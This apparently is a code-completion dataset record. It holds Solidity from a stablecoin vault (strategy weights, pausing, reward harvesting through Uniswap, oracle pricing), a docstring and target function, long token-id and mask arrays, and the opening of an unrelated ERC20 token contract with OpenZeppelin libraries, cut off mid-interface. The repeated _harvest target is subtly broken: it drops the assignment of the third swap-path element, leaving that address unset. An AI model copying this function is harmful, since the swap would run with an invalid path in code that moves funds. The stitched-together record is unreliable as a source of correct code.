if (allStrategies[i] == _addr) {
strategyIndex = i;
break;
}
}
if (strategyIndex < allStrategies.length) {
allStrategies[strategyIndex] = allStrategies[allStrategies.length -
1];
allStrategies.length--;
// Liquidate all assets
IStrategy strategy = IStrategy(_addr);
strategy.liquidate();
// Call harvest after liquidate in case liquidate triggers
// distribution of additional reward tokens (true for Compound)
_harvest(_addr);
emit StrategyRemoved(_addr);
}
// Clean up struct in mapping, this can be removed later
// See https://github.com/OriginProtocol/origin-dollar/issues/324
strategies[_addr].isSupported = false;
strategies[_addr].targetWeight = 0;
}
/**
* @notice Set the weights for multiple strategies.
* @param _strategyAddresses Array of strategy addresses
* @param _weights Array of corresponding weights, with 18 decimals.
* For ex. 100%=1e18, 30%=3e17.
*/
function setStrategyWeights(
address[] calldata _strategyAddresses,
uint256[] calldata _weights
) external onlyGovernor {
require(
_strategyAddresses.length == _weights.length,
"Parameter length mismatch"
);
for (uint256 i = 0; i < _strategyAddresses.length; i++) {
strategies[_strategyAddresses[i]].targetWeight = _weights[i];
}
emit StrategyWeightsUpdated(_strategyAddresses, _weights);
}
/***************************************
Pause
****************************************/
/**
* @dev Set the deposit paused flag to true to prevent rebasing.
*/
function pauseRebase() external onlyGovernor {
rebasePaused = true;
}
/**
* @dev Set the deposit paused flag to true to allow rebasing.
*/
function unpauseRebase() external onlyGovernor {
rebasePaused = false;
}
/**
* @dev Set the deposit paused flag to true to prevent deposits.
*/
function pauseDeposits() external onlyGovernor {
depositPaused = true;
emit DepositsPaused();
}
/**
* @dev Set the deposit paused flag to false to enable deposits.
*/
function unpauseDeposits() external onlyGovernor {
depositPaused = false;
emit DepositsUnpaused();
}
/***************************************
Rewards
****************************************/
/**
* @dev Transfer token to governor. Intended for recovering tokens stuck in
* contract, i.e. mistaken sends.
* @param _asset Address for the asset
* @param _amount Amount of the asset to transfer
*/
function transferToken(address _asset, uint256 _amount)
external
onlyGovernor
{
IERC20(_asset).transfer(governor(), _amount);
}
/**
* @dev Collect reward tokens from all strategies and swap for supported
* stablecoin via Uniswap
*/
function harvest() external onlyGovernor {
for (uint256 i = 0; i < allStrategies.length; i++) {
_harvest(allStrategies[i]);
}
}
/**
* @dev Collect reward tokens for a specific strategy and swap for supported
* stablecoin via Uniswap
* @param _strategyAddr Address of the strategy to collect rewards from
*/
function harvest(address _strategyAddr) external onlyVaultOrGovernor {
_harvest(_strategyAddr);
}
/**
* @dev Collect reward tokens from a single strategy and swap them for a
* supported stablecoin via Uniswap
* @param _strategyAddr Address of the strategy to collect rewards from
*/
function _harvest(address _strategyAddr) internal {
IStrategy strategy = IStrategy(_strategyAddr);
address rewardTokenAddress = strategy.rewardTokenAddress();
if (rewardTokenAddress != address(0)) {
strategy.collectRewardToken();
if (uniswapAddr != address(0)) {
IERC20 rewardToken = IERC20(strategy.rewardTokenAddress());
uint256 rewardTokenAmount = rewardToken.balanceOf(address(this));
if (rewardTokenAmount > 0) {
// Give Uniswap full amount allowance
rewardToken.safeApprove(uniswapAddr, 0);
rewardToken.safeApprove(uniswapAddr, rewardTokenAmount);
// Uniswap redemption path
address[] memory path = new address[](3);
path[0] = strategy.rewardTokenAddress();
path[1] = IUniswapV2Router(uniswapAddr).WETH();
path[2] = allAssets[1]; // USDT
IUniswapV2Router(uniswapAddr).swapExactTokensForTokens(
rewardTokenAmount,
uint256(0),
path,
address(this),
now.add(1800)
);
}
}
}
}
/***************************************
Pricing
****************************************/
/**
* @dev Returns the total price in 18 digit USD for a given asset.
* Using Min since min is what we use for mint pricing
* @param symbol String symbol of the asset
* @return uint256 USD price of 1 of the asset
*/
function priceUSDMint(string calldata symbol) external returns (uint256) {
return _priceUSDMint(symbol);
}
/**
* @dev Returns the total price in 18 digit USD for a given asset.
* Using Min since min is what we use for mint pricing
* @param symbol String symbol of the asset
* @return uint256 USD price of 1 of the asset
*/
function _priceUSDMint(string memory symbol) internal returns (uint256) {
// Price from Oracle is returned with 8 decimals
// scale to 18 so 18-8=10
return IMinMaxOracle(priceProvider).priceMin(symbol).scaleBy(10);
}
/**
* @dev Returns the total price in 18 digit USD for a given asset.
* Using Max since max is what we use for redeem pricing
* @param symbol String symbol of the asset
* @return uint256 USD price of 1 of the asset
*/
function priceUSDRedeem(string calldata symbol) external returns (uint256) {
// Price from Oracle is returned with 8 decimals
// scale to 18 so 18-8=10
return _priceUSDRedeem(symbol);
}
/**
* @dev Returns the total price in 18 digit USD for a given asset.
* Using Max since max is what we use for redeem pricing
* @param symbol String symbol of the asset
* @return uint256 USD price of 1 of the asset
*/
function _priceUSDRedeem(string memory symbol) internal returns (uint256) {
// Price from Oracle is returned with 8 decimals
// scale to 18 so 18-8=10
return IMinMaxOracle(priceProvider).priceMax(symbol).scaleBy(10);
}
}
|
* @dev Collect reward tokens from a single strategy and swap them for a supported stablecoin via Uniswap @param _strategyAddr Address of the strategy to collect rewards from/ Give Uniswap full amount allowance Uniswap redemption path
|
function _harvest(address _strategyAddr) internal {
IStrategy strategy = IStrategy(_strategyAddr);
address rewardTokenAddress = strategy.rewardTokenAddress();
if (rewardTokenAddress != address(0)) {
strategy.collectRewardToken();
if (uniswapAddr != address(0)) {
IERC20 rewardToken = IERC20(strategy.rewardTokenAddress());
uint256 rewardTokenAmount = rewardToken.balanceOf(address(this));
if (rewardTokenAmount > 0) {
rewardToken.safeApprove(uniswapAddr, 0);
rewardToken.safeApprove(uniswapAddr, rewardTokenAmount);
address[] memory path = new address[](3);
path[0] = strategy.rewardTokenAddress();
path[1] = IUniswapV2Router(uniswapAddr).WETH();
IUniswapV2Router(uniswapAddr).swapExactTokensForTokens(
rewardTokenAmount,
uint256(0),
path,
address(this),
now.add(1800)
);
}
}
}
}
| 1,593,594 |
[
1,
10808,
19890,
2430,
628,
279,
2202,
6252,
471,
7720,
2182,
364,
279,
1377,
3260,
14114,
12645,
3970,
1351,
291,
91,
438,
225,
389,
14914,
3178,
5267,
434,
326,
6252,
358,
3274,
283,
6397,
628,
19,
22374,
1351,
291,
91,
438,
1983,
3844,
1699,
1359,
1351,
291,
91,
438,
283,
19117,
375,
589,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
30250,
26923,
12,
2867,
389,
14914,
3178,
13,
2713,
288,
203,
3639,
467,
4525,
6252,
273,
467,
4525,
24899,
14914,
3178,
1769,
203,
3639,
1758,
19890,
1345,
1887,
273,
6252,
18,
266,
2913,
1345,
1887,
5621,
203,
3639,
309,
261,
266,
2913,
1345,
1887,
480,
1758,
12,
20,
3719,
288,
203,
5411,
6252,
18,
14676,
17631,
1060,
1345,
5621,
203,
203,
5411,
309,
261,
318,
291,
91,
438,
3178,
480,
1758,
12,
20,
3719,
288,
203,
7734,
467,
654,
39,
3462,
19890,
1345,
273,
467,
654,
39,
3462,
12,
14914,
18,
266,
2913,
1345,
1887,
10663,
203,
7734,
2254,
5034,
19890,
1345,
6275,
273,
19890,
1345,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
7734,
309,
261,
266,
2913,
1345,
6275,
405,
374,
13,
288,
203,
10792,
19890,
1345,
18,
4626,
12053,
537,
12,
318,
291,
91,
438,
3178,
16,
374,
1769,
203,
10792,
19890,
1345,
18,
4626,
12053,
537,
12,
318,
291,
91,
438,
3178,
16,
19890,
1345,
6275,
1769,
203,
203,
10792,
1758,
8526,
3778,
589,
273,
394,
1758,
8526,
12,
23,
1769,
203,
10792,
589,
63,
20,
65,
273,
6252,
18,
266,
2913,
1345,
1887,
5621,
203,
10792,
589,
63,
21,
65,
273,
467,
984,
291,
91,
438,
58,
22,
8259,
12,
318,
291,
91,
438,
3178,
2934,
59,
1584,
44,
5621,
203,
203,
10792,
467,
984,
291,
91,
438,
58,
22,
8259,
12,
318,
291,
91,
438,
3178,
2934,
22270,
14332,
5157,
1290,
5157,
12,
203,
13491,
19890,
1345,
6275,
16,
203,
13491,
2254,
5034,
12,
2
] |
/**
*Submitted for verification at Etherscan.io on 2022-03-02
*/
// Sonic ETH Token
// Telegram: https://t.me/SonicEth
// Website: https://soniceth.io/
// Verified using https://dapp.tools
// hevm: flattened sources of src/Sonic.sol
// SPDX-License-Identifier: MIT
pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0;
pragma experimental ABIEncoderV2;
////// lib/openzeppelin-contracts/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
/* pragma solidity ^0.8.0; */
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
////// lib/openzeppelin-contracts/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
/* pragma solidity ^0.8.0; */
/* import "../utils/Context.sol"; */
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
/* pragma solidity ^0.8.0; */
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)
/* pragma solidity ^0.8.0; */
/* import "../IERC20.sol"; */
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)
/* pragma solidity ^0.8.0; */
/* import "./IERC20.sol"; */
/* import "./extensions/IERC20Metadata.sol"; */
/* import "../../utils/Context.sol"; */
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
////// lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol)
/* pragma solidity ^0.8.0; */
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
////// src/IUniswapV2Factory.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
////// src/IUniswapV2Pair.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
////// src/IUniswapV2Router02.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
